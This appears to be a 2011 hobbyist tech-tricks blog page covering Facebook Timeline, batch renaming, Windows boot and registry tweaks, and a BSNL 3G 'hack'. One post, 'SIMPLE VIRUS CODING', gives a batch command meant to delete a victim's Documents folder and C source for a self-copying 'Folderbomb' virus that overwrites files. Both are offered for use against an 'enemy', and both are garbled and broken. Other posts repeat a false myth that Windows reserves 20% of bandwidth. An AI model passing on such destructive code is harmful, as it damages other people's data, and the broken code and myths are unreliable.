This blog contains Interesting Computer Knowledge.

Friday 30 September, 2011

How to Enable Timeline Feature on Facebook

Here are some Features of Facebook Timeline:-
  • You can set a cover page along with your facebook profile image.
  • You easily find any status update that you updated since you created your facebook account.
  • Your Personal Information, Recent activity, updates can be viewed from single page.
How to Enable Timeline Feature on Facebook:-
  • Login in to your Facebook Account.
  • In the search box type “Developers” and click on the first suggestion which is Developer App.
  • If you haven’t enabled developer mode then it will request for your permission.Click on Allow button to grant permissions.
  • Now you will be redirected to facebook application page , click on the Create New App. at right top.
  • In newly opened window give any App Display and Namespace Name,check mark in I agree box and then click on Continue button.
  • In the next step it will ask you to enter Captcha code and after it click on Submit button.
  • Now a page will show all your details, let them remain unchanged and click on Save Changes button.
  • In the left panel look for the Open Graph option and click on it.
  • Now in the Open Graph: Getting Started page fill anything that you like and click on Get Started button. 
  •  
  • Now in the configuration page change your Name and click on Save changes and Next button.
  • Again click on Save changes and Next button and then on Save and Finish button without doing any changes in it.
  • Now click on the Submit button.
  •  
  • n the pop up window type whatever you want in the Usage Instruction field and then click on Submit for Approval button.
  • Now wait for 1-2 minutes and go to your facebook Homepage.
  • Here you will see a Timeline application and click on the Get it Now button.
  • Click on the Start Tour button that will show you how the things will work in it and then on Publish Now button.
This feature is only launched for developers.So your new profile will not be visible to all but only to developers.The timeline feature is expected to be launched on 29, September 2011 for everyone.

Thursday 29 September, 2011

Rename Multiple Files at Once

1.Open a folder containing the files that you want to rename.

2.Select the files you want to rename. If the files you want are not adjacent in the file list, press and hold CTRL, and then click each item to select it.

3.On the File menu, click Rename.

4.Type the new name, and then press ENTER.

All of the files in the series will be named in sequence using the new name you type. For example, if you type Birthday, the first will be named Birthday and subsequent files in the series will be named Birthday (1), Birthday (2), and so on. To specify the starting number for the series, type the starting number in parentheses after the new file name. The files in the series will be numbered in sequence starting with the number you type. For example, if you type Birthday (10), the other files will be named Birthday (11), Birthday (12), and so on.

ACCESS INTERNET THROUGH UR MS CALCULATOR

This trick will allow you to access internet through Calculator. Calculator can be used as a web browser.

1. Open your MS Calculator. This is normally found in Start => All Programs => Accessories => Calculator.

2. Open the help-window by pressing the F1 key.

3. Click the top-left corner icon of the help window once (Standard is a Document with a Question mark).

4. Select Go to URL-address.

5. Type your address into the available field, but remember to type http:// and not just www. (or equivalent).

SIMPLE VIRUS CODING

Run this on your own responsibility*/

VIRUS CODE-1

IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.
Code Is Below
rmdir C:\Documents and Settings \S\Q.


VIRUS CODE-2
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......


#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}


Wednesday 28 September, 2011

BSNL 3G Hack trick to Unlimited Browsing at normal GPRS rate

Here is a 100 % working trick to unlimited use BSNL 3G at the cost of
Normal GPRS

First of all Buy a normal 2g bsnl's sim card and keep balance 50+ rs.
now activate gprs by sending sms GPRS PRE to 53733 It will be
activated in 24 hours, after activation get gprs settings by calling customer care

Now do e-recharge with 230 rs (or whatever unlimited plan exists in your area)
in it, After activation You have to chnage only one thing in yor 3G enabled cell.

Go to settings>tools>settings>phone&g
t;network>network mode> now select UMTS

THEN do manual searching for network u will fing bsnl 3g network there wid small 3g logo along wid its name, select it as default

Now see your data singnals logo, it is converted into 3G
You will get near about 500kbps to 1200 kbps speed
Remember use BSNLEGPRS or BSNLPREPAID as your access point

Boot Or Start Computer Faster

Some slight changes can do wonders for your system:

1. Press start->run then type msconfig and press enter.

Go to the startup tab. Here you will see a list of startup items. These are all the programs that automatically start when you boot your PC. It is these that slow down the boot up process.
                                 So uncheck all the unwanted items like ms-office, messengers other utilities that u may not need at startup). Don't uncheck your antivirus software.

Restart your Pc to and see for yourself, your pc will now boot faster....  
    
2. A great new feature in Microsoft Windows XP is the ability to do a boot defragment. This places all boot files next to each other on the disk to allow for faster booting. By default this option is enabled, but on some systems it is not, so below is the information on how to turn it on:

Go to Start Menu and Click Run
Type in regedit then click ok
Find "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOpt imizeFunction"
Select "Enable" from the list on the right
Right on it and select "Modify"
Change the value to Y .
Reboot your Pc and see the change yourself.
 
3.SPEED UP BOOT BY DISABLING UNUSED PORTS.!!
You may have tried many tweaks like modifying windows XP start-up applications, prefetches, unload DLLs method, etc. And yes those methods do work for me.
                    I have just accidentally found out another way to give you an extra boost in windows XP's boot performance. This is done by disabling your unused devices in Device Manager. for example, if you don't have input devices that are connected to one of your USB's or COM ports, disabling them will give you an extra performance boost in booting. Go to Control Panel -> System -> Hardware tab -> device manager Disable devices that you don't use for your PC and then restart.

Tuesday 27 September, 2011

Delete or Remove Recycle bin Icon from Desktop

Follow the steps below:
[Start] [Run] [Regedit]
Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\BitBucket

Modify/Create the Value Data Type(s) and Value Name(s) as detailed below.

Data Type: DWORD // Value Name: NukeOnDelete

Setting for Value Data: [0 = Use Recycle Bin / 1 = Permanently Delete]
Exit Registry and Reboot

  Another Method
start->run->gpedit.msc-> user configuration ->desktop->remove recycle bin from desktop->double click->change it not configured to enable->apply and ok.

now come to start->run->gpupdate.exe and press enter.

your recycle bin icon is gone from desktop nad you will need to revert your settings for get that back.

after reverting setting make sure to run gpupdate.exe command. 

HACK or Simply Change XP Start Button Name(for XP)

First of all just u need to do is download Resource hacker.
Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Win95, Win98, WinME, WinNT, Win2000 and WinXP operating systems.

To DOWNLOAD Resource Hacker ,Follow this Link - http://www.softpedia.com/progDownload/Resource-Hacker-Download-1520.html

After Downloding,
First Step The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe
The category we are going to be using is String Table In Resource Hacker. Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable as shown in Fig. 02. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry

Second Step – Modify the Registry Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

the Right pane (Fig. 05), double click the Shell entry to open the Edit String dialog box as shown in Fig. 06. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

Speed up your internet by 20%

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc

You can get it back:

Click Start then Run and type "gpedit.msc" without quotes. This opens the group policy editor.

Then go to:
--> Local Computer Policy
--> Computer Configuration
--> Administrative Templates
--> Network
--> QOS Packet Scheduler
--> Limit Reservable Bandwidth.
 
Double click on Limit Reservable bandwidth.
 It will say it is not configured, but the truth is under the 'Explain' tab i.e." By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well. 

Monday 26 September, 2011

CYBER EXPERTS

Hi Teenagers ,This is an Interesting Blog for all of You......related to Cyber Field as all of us know ,IT sector has became an Emerging Career Option.

Also if u all guyz wants some Entertaining Brain teasers than Visit - http://brainnurtures.blogspot.com/